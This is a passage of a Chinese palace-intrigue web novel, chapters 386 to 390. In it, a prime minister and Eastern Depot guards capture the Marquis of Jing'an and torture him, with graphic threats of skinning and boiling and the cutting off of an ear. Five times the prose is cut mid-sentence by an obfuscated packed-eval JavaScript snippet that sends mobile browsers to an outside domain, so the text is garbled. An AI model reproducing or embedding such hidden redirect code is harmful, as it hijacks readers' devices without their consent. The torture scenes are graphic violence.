“侯爷,您没事吧?” 一把攥住靖安侯的肩膀,倪宰相把人上上下下地好一番打量。 他眼中写满忧虑,直到确认靖安侯并无不妥,这才松了一口气。 “尔等竟然如此怠慢侯爷!” 转过脑袋看着闹成一团的锦衣卫们,倪宰相眉头一皱,立刻变了一副模样! 他粗声粗气地吼,“若是耽搁了要事,你们的脑袋都别想要!” 对上这位,锦衣卫们的表情就更丰富了。 憋屈,无奈,愤怒,隐忍。 种种情绪交织着从脸上呼啸而过,就连靖安侯都看得呆住了。 这说明什么? 不得不服! “相爷,这些下人不服管教,留着也是——” 祸害两个字还没出口,靖安侯忽然看着倪宰相侧过脑袋,飞快地朝着他摇了摇头。 那一刻,相爷的表情顿时变得十分难看,似乎是有什么难言之隐。 靖安侯顿了顿,到底还是把话咽回了肚子里。 倪宰相见状也移回目光,又对着那些锦衣卫们大骂了几句,挥手让所有人都退下,方才亲自领着靖安侯往书房去。 进到书房院中,里里外外的下人便又变了个样,随着倪宰相一路走来,下人们纷纷低眉顺目地问候着,一看就是相爷真正的自己人。 靖安侯没说话,一直跟着倪宰相来到屋中,关上房门,这才朝着外面的方向摆了摆脑袋。 “倪大人,外面那些锦衣卫,为何不让本侯处理?” 他们的不服是如此明显,留在身边,迟早是个隐患。 屋里没有其他人在,倪宰相似乎也撑不住了,在太师椅上一屁股坐了下来,揉着眉心,看起来更是疲惫不堪,又老了十几岁似的。 “老臣手中无人,只能与这些东厂的混账互相牵制,勉强平衡,否则,只怕连现在的局势都没有。” “坚持了这么久,臣已经快无计可施了,侯爷,您这趟过来,应该也是为了替安王殿下传信的吧?有什么消息,还请您尽快说来。” 第三百八十六章 谢无咎是哪天死的? “怎会如此?” 闻言,靖安侯用力皱起了眉头。 他看院中的局势,还以为倪宰相怎么也能占据上风呢。 倪宰相又苦笑了一声。 “侯爷有所不知,谢无咎那阉贼临行前拿捏住了朝中众臣,老臣只能用自己当筹码,眼下已经是独木难支啦!” 心知不是什么好消息,靖安侯本就不安,倪宰相的话在他耳中也是半懂不懂。 见状,倪宰相又叹了口气。 “谢无咎离开京城之前,特意将京中的事务分别交由朝中各位大人处理,恐怕防的就是有人突然袭击,老臣得了安王殿下的消息之后,绞尽脑汁才将这些权利全数归拢到自己手中,却也因此将一干大人得罪了个彻底。” 没人愿意将已经到手的权利让出,尤其还是在这种名不正言不顺的情况下。 靖安侯的脑子这会儿艰难地恢复了转动,他抿着嘴唇,“那如今的情况……” “如今锦衣卫和一众大人们抱成团,共同针对我这把老骨头!” 说到这儿,倪宰相似乎是怒从心头起,狠狠一把拍在桌子上! “实在是太过分了,他们要老臣放权,可京中的情况却还需要老臣来处理,局势就这么僵住了。” “近几日,这些锦衣卫已经在前往京城,试图从源头夺下老臣手里的权力,”倪宰相斜晲了靖安侯一眼,“侯爷,您若是再晚来几天,恐怕就只能看到老臣的尸体了。” 随着他的话,靖安侯的眉头彻底拧成了一个死疙瘩。 这样的情况……可算不上好。 “大人,您手下无人?”他下意识地问道。 话一出口,靖安侯便意识到自己刚刚犯了蠢,与此同时,倪宰相也无奈地苦笑起来。 他是文臣,又住在京城,天子脚下,岂能有囤积私兵的想法? 那不是更在找死! “侯爷,”倪宰相搓了一把脸,似乎是要打起精神,“您这趟过来,是安王殿下有话要说吧?不妨先让老臣看看殿下的打算。” 靖安侯沉着脸,将那个信封取出来放到了倪宰相面前。 趁着倪宰相低头看信的这段时间,他抱着双臂,皱着眉头,忍不住开始想这位老大人方才的话。 锦衣卫和朝中大人们抱成一团,倪宰相孤木难支,这话乍一听只让人心情紧张,可靖安侯这会儿细细想来,却又感到有些不对。 倪宰相手下没有兵士,仅靠着抓住京城的几条线,就能把这么多人反制住? 可是…… 靖安侯的目光又看向窗外,从他进入别院开始,这里发生的一切,瞧着又十分合情合理。 是他太过紧张,草木皆兵,还是这其中的确有什么不对劲的? 抿了抿唇,靖安侯眼神一扫,又落到正在皱着眉头看信的倪宰相脸上。 “大人,”他猝不及防地开口,“只凭您一人,要对抗外面这些锦衣卫,想必十分辛苦,不若本侯想个办法,替您弄几个贴身侍卫来吧?” 左右他也要在京城停留一阵子,倪宰相的话是真是假,他自己想办法分辨! 倪宰相眉头紧皱,牢牢盯着信纸,仿佛没听到靖安侯的话。 看着老相爷这幅如临大敌的模样,靖安侯越发觉得不对劲。 谢无咎**,这不是个好消息吗? 怎么倪宰相的脸色这么难看? 还越来越难看。 额头都冒汗了! 有问题! 心下大惊,面上却不动声色,靖安侯屏住呼吸,一边偷眼看着倪宰相的状态,一边悄无声息地站起身来。 他双手背在身后,轻轻在袖子里一勾,摸出一把刀刃雪亮的**! 倪宰相这会儿还在看信,模样越发聚精会神,脑袋埋在桌子里,压根就没主意到这边的动作。 靖安侯放轻脚步,一点一点朝着倪宰相靠近。 竟然敢骗他们的信任,这老滑头的相爷,等落进他手里,想不配合安王的计划都不行! 一步步走到倪宰相身旁,后者还低着头,靖安侯尽量放轻动作,缓缓举起手里的**—— “诶呀!诶呀诶呀!” 他动作做到一半,倪宰相忽然把信纸往桌上一拍,而后毫无预兆,猛地站起身来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196688|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 靖安侯:? “大事不妙大事不妙——” 倪宰相语气惊悚,动作惶恐,一把推开椅子就要转身,却稳稳地撞上了靖安侯的胳膊! 诶呦一声,倪宰相扶着自己的老骨头踉跄两步,一头栽回椅子里,抬头又看见了靖安侯还没来得及收起来的动作。 “侯爷这是做什么?” 靖安侯连忙把**藏在身后。 “只是想扶大人一把罢了。”他清了清嗓子,又转移话题,“大人方才说什么大事不妙?” 倘若倪宰相真是对他们阳奉阴违,那外面的锦衣卫可不好对付。 就算是要下手,也不能弄出动静。 想着,靖安侯越发警惕,攥紧了**要蛰伏待机。 “诶呀!”谁知道倪宰相这时候却又猛地一跃而起! “侯爷啊,这,这谢无咎是什么时候死的?有没有具体的日子啊?”他的嘴唇不住地哆嗦着。 这回还没等靖安侯想出什么对应的罪证,倪宰相便一语投下! “谢无咎和京中锦衣卫有所约定,每隔五日便要互报平安,一旦前后超过三日,另一方就会,就会马上动手!” 一把攥住靖安侯的袖子,倪宰相咽了咽口水,眼底的紧张完全不加掩饰。 “现在过去几日了?” “别院里有**,时间若是错过,那些锦衣卫便会立刻动手引爆,来个玉石俱焚!” 靖安侯的脑袋仿佛已经先轰隆一声炸开了! **? 玉石俱焚? 所以……倪宰相方才是因为这个才紧张? “侯爷?侯爷!”倪宰相攥着靖安侯手腕的力道越发地大,“快,告诉我!什么时候!” 靖安侯在他急促的语气之下,脑子更是乱成了一锅粥。 什么时候? 谢无咎这会儿估计还没死吧! “他——” 正要开口,靖安侯忽然一顿,下一刻身子忽然往旁边一侧! 一柄长剑不知道什么时候从他头顶直直而下,险些将靖安侯的脑袋劈成两半! 第三百八十七章 冒充宗亲,一网打尽! 有埋伏! 这倪宰相果然有问题! 靖安侯被头顶的长剑吓出一身冷汗,侧身便要反击,就在这时,一把白色的粉末忽然在眼前炸开! 还有埋伏! 猝不及防吸了一口,他顿时双腿发软,再无力挣扎,咚地一声摔倒在地。 隐月从房梁上一跃而下,倪宰相这时候也丢开了放着**的小纸包,快走两步来到窗边长舒了一口气! 总算是抓住了! “他们还真敢来!”回头看着靖安侯倒在地上,不省人事的模样,倪宰相又觉得自己的额角愤怒地跳了起来。 先前那个假扮影四的影卫给倪宰相送来了安王还活着的消息,他就觉得不对劲! 住在这个别院里的安王死在宫中,差不多就算是死在他们这些大臣们的面前,当时府兵从废墟里找到了不少被烧焦的尸体,其中一个身边就放着昭德帝身上的玉牌。 安王假扮昭德帝稳住朝政的事情,谢无咎离开京城之前已经告诉了倪宰相。 安王死在京城,如果还有一个安王活着,那能说明什么? 说明他早就跑了! 就算当时有什么难言之隐,可昭德帝登基已经这么长时间,他为什么都不现身,却要挑在现在这个敏感的时间节点放出自己还活着的消息? 这消息还是特意放给他的,绕过谢无咎的手下,这个真正的安王在想什么,几乎可以说是昭然若揭。 又是一个想趁机上位的! 京城乱成这样,老百姓能跑的都跑了,留下的整日担惊受怕,到处躲藏,瞧着比乱世的时候还乱。 把大梁的民生弄成这样,就是为了想自己登基当皇帝! 倪宰相当时看那封信的时候就气得眼冒金星,不知道费了多大力气才克制住自己,不要当场就把那个该死的影卫拿下。 皇室宗亲又如何? 不做好事,只想靠算计得好处,他倪运良是不会扶持这种自私自利的东西的! 只是想到要稳住局势,慢慢调查,倪宰相才装出一副被安王的消息动了心的模样,又当众激怒隐月,演了一场戏,成功将那个影卫骗走。 倪宰相和隐月进到屋中,把门一关,就立刻说出了一切,又制定了今天的这个计划。 倪宰相背着手,看向靖安侯的眼神越发不善。 他知道安王肯定不会只给他送一封信这么简单,必定会有后招,可倪宰相却也万万没有想到,这一回来的竟然会是靖安侯! 镇守西南的大将啊! 他都来给安王办事,那岂不是说,整个南郡都已经落入了安王的手中? 倪宰相的表情变来变去,瞧着竟然有些滑稽,可屋中这会儿也没人会因此发笑。 “相爷,现在怎么办?”隐月确认了靖安侯已经彻底陷入昏迷,这才抬头朝着倪宰相看了过来。 虽然这位老相爷先前不相信他家主子和殿下,为此还闹出了不少不愉快,可他办起事来,的确又利索又果决。 没有倪宰相亲身入局,他们今天抓到靖安侯的可能性起码要减少一半。 倪宰相闻言低下头,又朝着靖安侯多看了两眼,才搓了搓脸,仿佛下定了决心。 “你们是东厂的人,应该最擅长审讯了吧?” 隐月顿了顿,方才露出一个笑容。 “当然。” 他在这安王别院里待了这么长时间,整日调度手下的锦衣卫,还得忙着给南疆那边传信,活得像个大管家似的。 他已经好久没有动手审讯犯人了,别说,还真有点兴奋! 亲自动手把靖安侯绑了,隐月又叫上几个人,和倪宰相一道朝着柴房而去。 自从关押过无尘大师,柴房俨然便成了别院的临时牢房。 四面窗户都经过改造,从外面封上怎么也打不开,隐月重重地将靖安侯丢到地上,又溅起了不少尘土。 咚地一声,不知道是撞到了什么地方,靖安侯倒吸一口冷气,这才醒了过来。 他趴在地上,盯着灰扑扑的地板,还有上面那几只眼熟的鞋看了好几眼,这才又发出一声惊惧的吸气声,双手撑着地板, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198483|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图站起来。 “想跑?”隐翼又是重重地一脚踩了上去。 靖安侯被他一脚踩在背上,又毫无还手之力地趴回地上,同时感到呼吸一滞,喉咙也跟着泛起了腥甜。 “放开我!”他怒吼着,又在看到倪宰相的时候变得格外愤怒,“你这个不知好歹的老东西!” “闭嘴!”话音刚落,他就结结实实地挨了隐翼的另外一脚。 倪宰相冷冰冰地看着他,眼底全是憎恨。 “我不知好歹?哼,我看是你不知所谓!圣上让你镇守南郡,就是让你私下和孟震宇狼狈为奸的吗?” 倪宰相这会儿眉毛倒竖,气势汹汹,连安王的大名都喊了出来。 “你,你竟敢如此不敬!”靖安侯闻言险些气歪了鼻子,“殿下如今是皇家唯一的血脉,你不维护皇家的脸面,竟然还口出恶言!” “血脉?什么血脉?” 倪宰相听了这话先是微微一顿,随后面上便浮起了一个古怪的笑容。 “安王殿下早就死在宫中的那场大火里,他舍身救主,被天问那奸贼所害,是我大梁的英雄!” 靖安侯立刻就明白过来,又咬紧牙关,“你胡说!有本侯替安王作证,他——” “休得大言不惭!” 他的话又立刻被倪宰相打断了。 “本侯?”他抱起双臂,冷冷看着趴在地上的人。 “靖安侯也在和南疆作战的时候英勇牺牲了,你是哪儿来的侯爷?” 靖安侯:?? 他**? “你——”他气得眼前又开始发黑,“你这个无耻之徒!你胡言乱语!你,你咒本侯!” 他分明就活得好好的呢! 倪宰相倨傲地望着靖安侯气红的脸,冷笑的表情分外真实。 “你们这些冒充安王身份,想以此给自己谋利的阴损小人,也配说本相口出恶言?真是岂有此理!” “隐月!现在就给本相用刑!一定要撬开他的嘴,把他们这些冒充皇室宗亲的宵小之徒,一网打尽!” 第三百八十八章 把人皮灯笼送给你的主子 隐月等四个暗卫的表情,这会儿都很一言难尽。 知道这位老相爷是个老狐狸,可狐狸也不能把瞎话说得这么瞎吧? 假的安王的确是死在皇宫里的,这话还好说,靖安侯可是一直都好端端地在南郡驻扎着呢! 怎么这位上下嘴皮子一碰,也**? 况且还是在本人面前,这,这好吗? 倪宰相又冷笑了一声,似乎是能听到四个暗卫的心声。 “天问老秃驴早就杀了真正的靖安侯,用自己的手下替代!这什么劳什子的安王复活,想来也是他弄出来的又一个奸计!” “我等身在京城,理当为九千岁分忧,不可被这等妖言惑众的假消息迷惑,自乱阵脚,否则,岂不是给了那老秃驴可乘之机?” 隐月的眼皮又随着这番话跳了跳。 倪相爷的话,每一句都很有道理。 可他怎么听着,这是在拐弯抹角地骂他呢? 嫌他大敌当前,没相信倪宰相的忠诚? 可这位老相爷本来就摇摆不定的! 况且,没有他先前那些真情实感,怎么能骗过安王派来的人! 隐月深吸一口气,又看着倪宰相大义凛然的模样,仿佛一点儿私心也没有,质问的话便更加说不出口了! 他哽得胸口发胀,索性上前两步,拎起靖安侯的衣领,另一只手重重地砸了下去,“说!” 靖安侯被这迎面而来的拳头砸得脑袋一空,顿时什么都不知道了。 他耳中嗡鸣作响,眼冒金星,等再次醒过神来的时候,发现自己不知道什么时候已经仰面朝天躺在了地上! 血腥气在口中和鼻子里到处蔓延,靖安侯费力地张了张嘴巴,想说话,先感到自己的一口牙好像掉了不少。 “你,你们……”他伸手摸了一把,满嘴的血! “我们怎么了?” 一拳出了不少气,隐月面上也变得从容了几分,又重新上前拎着靖安侯的衣领,把他的上半身从地上拽了起来。 “不想继续受苦,那就老实点回答我的问题。” “九千岁在什么地方,现在又情况如何?”他一掀眼皮,杀意铺天盖地而来。 趁着方才那会儿功夫,隐月已经看过安王写来的那封信了。 说主子在王都和天问大师交手,被他阴谋所害,**身亡? 简直是荒谬! 若说安王的上一封信写的还有些水平,不着痕迹地把自己还活着的消息放了出来,好引诱倪宰相上钩;那他的这一封信便硬生生地又成了败笔。 这么多详细信息,安王是怎么知道得如此清楚? 知道就算了,还要千里迢迢地把信送到倪宰相手中,这又是什么意思? 摆明了告诉倪宰相,皇室成员就我一个了,你不想扶持我,那也得扶持我! 这和撒泼耍赖有什么区别? 心里想着这些,也不妨碍手上的动作,隐月又把靖安侯的衣领拽紧了几分,看着他脸上的伤口被勒得更加血流如注。 “不说,就让你见识一下东厂的手段!” 靖安侯被脖颈上传来的力道哽得连连呛咳,却又发不出声音,一张脸越发涨红,全然没了运筹帷幄的冷静感觉。 他双眼死死盯着隐月,张着嘴巴不断开合,活像一条蹦上岸的鱼。 感觉时间差不多,隐月这才松开手,靖安侯得了空气,顿时大口大口地呼吸起来。 “你们……你们在说什么,我不知道!”他捂着脖子,声音嘶哑。 一句话刚落地,重获自由不到片刻的脖子又被一把扼住,靖安侯反应不及,发出一声鸡叫! “那就别怪我们了。” 隐翼从另一侧绕上来,手里拿着一把造型奇特的刀,不住地把玩着。 刀刃又细又长,雪亮的银芒从上闪过,晃了靖安侯的眼。 他忍不住想往后靠靠身子,却又被隐月拎住脖颈,动弹不得,一时间只感到冷汗不住地从背后落下。 有种不祥的预感忽然传遍全身,靖安侯咽了咽口水,目光聚焦在隐翼手中。 “侯爷对这把刀感兴趣?”见状,隐翼又晃了晃。 “是贼!天问老秃驴手下的贼!”倪宰相的怒吼立刻从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198484|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边传了过来。 隐翼面上的笑容抽了抽,险些就要维持不下去。 正审讯呢! 这老相爷,真会破坏气氛! 靖安侯却没有受到什么影响,双眼依旧直勾勾地盯着那把刀,看模样似乎想立刻站起身来逃跑。 隐月手上更加用力地止住他的动作,同时眼皮一撩,看着靖安侯的模样,好像明白了什么。 “侯——” 刚张开口,隐月便听到身后的倪宰相又在猛地吸气,他到了嘴边的问候便跟着转了个弯。 “假侯爷,您是不是认识我们这样宝贝?” 靖安侯这会儿顾不上隐月给自己改姓的事情,他盯着那刀的眼神变得更加惊惧。 可不是认识吗! 这就是传说中,谢无咎给三百贪官剥皮用的那把刀吧! 靖安侯虽然久居南郡,可逢年过节也要回京供职。 某一年他从宫宴下来,喝多了酒浑身燥热,便沿着宫道一路散步,不知不觉便走到了东厂外。 靖安侯当时还觉得这阉人的地方好大的阵仗,门前的灯笼比皇宫还多,一时好奇还伸手摸了几个,只觉手感不错,还曾动过念头,想讨要些材料说。 酒醒之后,他才知道,那是前些日子刚晾干的人皮! 他身为武将,**如麻,不至于被人皮吓出个好歹,却也因此对谢无咎印象深刻。 心狠手辣的阉人! 可靖安侯怎么也想不到,有朝一日,这把剥皮的好刀,竟然会出现在自己面前! 看着靖安侯头皮都揪紧的模样,隐翼还有什么不明白的,他又上前一步,蹲在靖安侯面前。 “这刀利得很,能将人的皮肉削得薄如蝉翼,用来剥皮是最好不过的。” “假侯爷想先从哪个部位开始?小的手很稳,不会多割您一块肉,保证把您的皮剥得干干净净,一过水就能用。” “我们东厂现在是挂不上灯笼了,不如日后把这盏捎回去,给你的主子玩吧。” 笑吟吟地说着话,隐翼抬手便把刀贴在了靖安侯的侧脸,缓缓用力下滑—— 第三百八十九章 你们不能动我! “别!不要!” 冰冷的刀尖贴上皮肤,靖安侯猛地哆嗦了一下,感到疼痛袭来,忍不住失声大喊着。 “假侯,您可千万别动,”隐翼的声音听上去十分认真,“万一您自己撞到刀上,多割了一块肉,这算谁的?” 靖安侯顿时又不敢动了。 “宁愿剥皮也不愿意交代安王的计划,您可真是个忠心的下人。” 隐月掐着靖安侯的脖子,语气里也满是笑意。 “既然如此,那小的们就更得把您这身皮剥得好看一点,做个精致的灯笼送到南郡去。” 两人你一言我一语之间,靖安侯依旧能感觉得到自己脸上的刀在缓缓下移,鲜血也随之不断流出。 “弄得这么麻烦干什么?” 倪宰相忽然啧了一声,听上去煞是不耐烦。 他快走两步来到靖安侯面前,扫了一眼这位脸上的情况,又变得更加不满意。 “我记得九千岁从前是用滚水的,往人身上涂了药水再一浇,一身皮立刻就能扒下来,哪里还用得着这么费功夫?” 隐翼听着这话,手上忍不住哆嗦了一下,刀刃一歪,在靖安侯脸上开了一个大口子! 他也顾不上听靖安侯的嚎叫,抬起头愕然地望着倪宰相。 这是什么地方传出来的谣言! 东厂又不杀猪! 倪宰相看见了隐翼的表情也当自己没看见。 以谢无咎从前的行事风格,京中流传着他和东厂的谣言多了去了,现在当然是什么吓人说什么! “快点快点,本相没时间和这些贼人浪费!”倪相爷又一挥手,显得更不耐烦,“起锅烧水!” 隐月这下也移开目光。 ……更像要杀猪了。 他一边想着,一边尽职尽责地把靖安侯从地上拖起来,作势要往外走。 “别啊,别啊大人!” 靖安侯敌不过隐月的力气,挣扎无果,只能又朝着倪宰相大喊起来。 倪宰相无动于衷,丝毫反应都没有,就这么静静地站在柴房里,看着靖安侯的时候,好像在看着一个**。 “……” 眼见自己就要被拖出屋子,靖安侯用力攥紧拳头,“倪相爷!杀了本侯,不出一个月,安王便会踏平你的别院!到时候你们所有人都得完蛋!” 倪宰相的眼神终于闪了闪。 靖安侯见状再接再厉,“超过五日得不到我的消息,王爷便会动手!到时候,什么都救不了你们!” “等等。” 他话音落下,倪宰相朝着隐月抬了抬手,轻声道。 隐月动作一顿,不情不愿地将靖安侯又拖回柴房中,重重地丢在倪宰相脚下! 好不容易才得了这点自由,靖安侯正面朝上,呼哧呼哧地喘息着。 倪宰相的脸颠倒着出现在他头顶,眉头紧蹙,神情紧绷,显然心情并不愉快。 看着他老人家这幅模样,靖安侯倒是咧了咧嘴。 “你想要什么?”倪宰相问的依旧十分利索。 “保住我的命。”靖安侯也没犹豫,“你们若是不想被安王的手下找来袭击,那就得按我说的,按时去信。” 顿了顿,似乎是察觉到身后隐月隐翼的杀意,他又知趣地张了张口,“谢无咎现在还没死。” “现在?”隐月的声音听着又不善了几分,“说清楚!” “他中了毒,去王都了,”靖安侯轻咳一声,“能不能保住那条命,只能看天意——啊!” 一句话没说完,倪宰相快步上前,一巴掌狠狠扇在靖安侯脸上的伤口处! 靖安侯控制不住地发出一声哀嚎,一时间没能反应过来。 这又是怎么了? “所以,你现在前来,就是为了趁着这个功夫,先入为主地骗老夫扶持安王吧?” 倪宰相扇人巴掌的那只手不断地哆嗦着,是被气的。 “要是我没猜错,安王这个时候应该正在派人去南疆王都,追杀身谢无咎,好让这个计划没了退路,是不是?” 听得倪宰相这几句话,靖安侯的脸色变了。 他正要开口,倪宰相忽然又笑了起来。 “当年老夫就向先皇说过,二皇子心性逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198485|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仄,气量狭窄,现在看来,果然没说错!” “……是你?”靖安侯忍不住脱口而出! 当年设立储君的时候,大皇子和三皇子各占长嫡,但二皇子各项条件也不算差,原本有争上一争的苗头。 可不知怎么,这股苗头忽然就悄无声息地消失了。 原来是因为倪宰相! 靖安侯的心猛地收缩了一下! 错了! 从一开始,他们就全都错了! “正是老夫。”倪宰相冷冷的声音又响了起来,“你现在还觉得能拿捏的到我吗?” 院中这时候传来一阵响动,靖安侯猛地扭过身子,便看到两个暗卫推着一口大锅走了进来。 “相爷,”隐风的声音跟着道,“都准备好了,水是热的,再一加温就可以用。” 靖安侯瞪着那口大锅,目眦欲裂。 还真要拿开水浇他? “把他给我扔进去!” 又是一声大喝响起,院外的脚步声跟着由远及近,片刻后,几个侍卫抬着莫老将军出现在大锅之后! 看见这位,靖安侯哆嗦得更加厉害,双腿一软,便重新摔倒在地! 莫老将军上阵杀敌的时候,他们还都是孩童,定西将军的凶悍名声可止小儿夜啼! “畜生东西!你不为大梁尽忠,倒是会趁人之危!”莫老将军双眼血红,吼声震天,“京城因为你们**多少人?跟那些妖物勾搭在一起,害自己国境的百姓!猪都比你们有用!” “我,我没有啊……” 靖安侯下意识地想给自己辩解,话一出口,气势先弱了三分。 莫老将军的嗤笑倒是来得毫不留情。 “没有?那南疆军队杀到京城之下的时候,南郡怎么没消息传来?现在天问那个妖僧回了南疆作乱,你们怎么又知道回来,还只派了你一个人?你以为我们是傻子不成!” 靖安侯张了张口,不知道该说什么才好。 他们的这点把戏,瞒不过莫老将军征战多年的眼睛! “你们俩,把他给我扔进锅里,就现在!” 第三百九十章 刑讯逼供 又冷笑了一声,莫老将军朝着站在自己身边的两个侍卫怒喝一声。 侍卫们应声而动,大步上前,架着靖安侯就要往锅里丢! “不要啊!” 靖安侯用力挣扎,脸上的恐惧也变得分外真心实意。 可惜已经晚了,扑通一声,他被头朝下丢进锅里,咕嘟咕嘟喝了两口水。 热的! 靖安侯还想挣扎,刚探出脑袋就被一个侍卫一巴掌拍了回去。 “你俩也别愣着!” 莫老将军这时候在朝着隐风和隐川说话,“去搬柴火,烧锅!老夫今天就要把这狼子野心的畜生熬成汤!” 隐风隐川闻言都忍不住默了默。 另外一边,倪宰相这会儿已经双腿发软,若不是靖安侯太过慌张,根本无暇细看,便会发现方才还气势汹汹的老相爷好像随时都有可能晕过去! 倪宰相用力抓着隐翼的一条胳膊,才没让自己摔倒在地。 他只是想吓唬吓唬苏景辉这个胆大包天的,可没打算真的把他烧死啊! 莫老将军这也太有魄力了吧! “……还不动?” 莫老将军这时候无奈地朝着这边丢了个眼神。 他又不是野人,怎么能真的做出这种事情? 当然也是吓唬! 安王送来第一封信的时候,倪宰相便将这个消息,还有信中的内容让别院里的所有大人们都看过了。 莫老将军这会儿看着靖安侯,眼底全是厉色。 天问秃驴在京中都做了什么勾当,他最清楚不过,能和这秃驴打成一片,不用说,安王和靖安侯的手段,想来跟天问也是一路货色。 这种丧心病狂,心狠手辣的人,用上寻常的招数,恐怕是不可能让他们服软的。 就得比他们更丧心病狂才行! 莫老将军用力虎着脸,“现在就烧水,把你们东厂的药水也拿来,老夫亲自给这个畜生剥皮,看他是猪还是狗!” 听到这儿,隐月等人也明白过来。 三人一哄而散,各自去准备东西,唯有泡在锅里的靖安侯,眼睁睁地看着莫老将军的软轿朝自己而来,一张脸白了又青,青了又紫,煞是精彩。 “把他给老夫摁住!” 莫老将军就算没有要对着靖安侯发动酷刑的意思,这么板着脸沉声低吼的模样,落在靖安侯眼底也宛如恶鬼一般。 随着两个侍卫用力将他的脑袋按住,莫老将军也开始不紧不慢地挽袖子,靖安侯终于再也受不了了。 “我交代!我听话!我,我什么都干……” 无力地弯下腰,恐惧从脚底的温水中袭上,死死缠绕在靖安侯身上,让他似乎连呼吸都变得艰难。 “莫老将军您饶了我吧,你们想知道什么我都说!”他瞳孔颤抖着,嘴唇也跟着有些不好使了。 他们这些做将军的,哪个没听说过莫老将军的丰功伟绩? 这位手上有多少条人命,只怕没人能数得清! 靖安侯哆嗦的幅度又变得更大,他虽然是一郡守将,手握重兵,听上似乎威风凛凛,可这会儿在莫老将军面前,还是感到自己和从前那个孩童没有多少区别。 “将军,您饶了我,饶了我……”他不住地喃喃自语着。 站在一旁的倪宰相看着这场面,心里多少有点不是滋味。 他以身犯险,用这把老骨头亲自把靖安侯骗了进来,费了这么大力气,都不见靖安侯真心实意地说出半句软话! 所以还是拳头好用是不是! 心酸了片刻,倪宰相又开始频频拿眼睛往莫老将军身上瞧。 靖安侯已经被吓成这样,问什么都会招了吧? 莫老将军还不打算停手? 此时的莫老将军不光没停手,也没停下前进的软轿,他缓缓地来到锅边,盯着靖安侯抖若筛糠的样子,又冷哼了一声。 “废物!被吓成这样,难怪会对着天问那秃驴卑躬屈膝!你个软骨头!” 靖安侯委屈得说不出话来。 这朝廷上下,大梁之中,谁敢说自己面对盛怒之下的莫老将军,能无动于衷? 说了他也不信! 再说了,他也没有对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206365|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天问大师卑躬屈膝! “刀拿来!” 莫老将军的怒火却还没有要停歇的意思,反手从侍卫腰间抽出他的佩刀,手起刀落,一样东西便扑通一声掉进了水中。 靖安侯愣了一下,感到疼痛铺天盖地地袭来,这才惨叫一声,又难以置信地抬手朝着自己的脑袋侧边摸去。 “我的,我的耳朵!” 他伸手摸了个空,鲜血瞬间流下,靖安侯的惨叫也跟着越发凄厉。 “再不说就割另外一只!”莫老将军依然声如洪钟,“都到了什么地方,还不自己老实交代?怎么,等着我们问你,你再选择回答?你有没有一点当俘虏的自觉?” 连俘虏二字都出来了,莫老将军显然是气得够狠,靖安侯不敢再嚎叫耽搁时间,趴在锅边,竹筒倒豆子一样,开始噼里啪啦地把自己知道的事情都说出来。 倪宰相又顾不上这满锅鲜血带来的刺激了,快走两步围了过去。 靖安侯这会儿又疼又怕,什么也顾不上,想起哪句说哪句,颠三倒四的,得用心些才能明白他在说什么。 这个时候,倪宰相的作用就显示出来了,他边听边记,折腾了大半晌的功夫,才把靖安侯倒出来的信息整理好。 一,谢无咎是真的毒发了,事出突然,为了给他解毒,一行人正用最快的速度前往南疆王都,寻找解药。 二,天问大师忽然去往王都,不知道是为了什么,但感觉是又有阴谋。 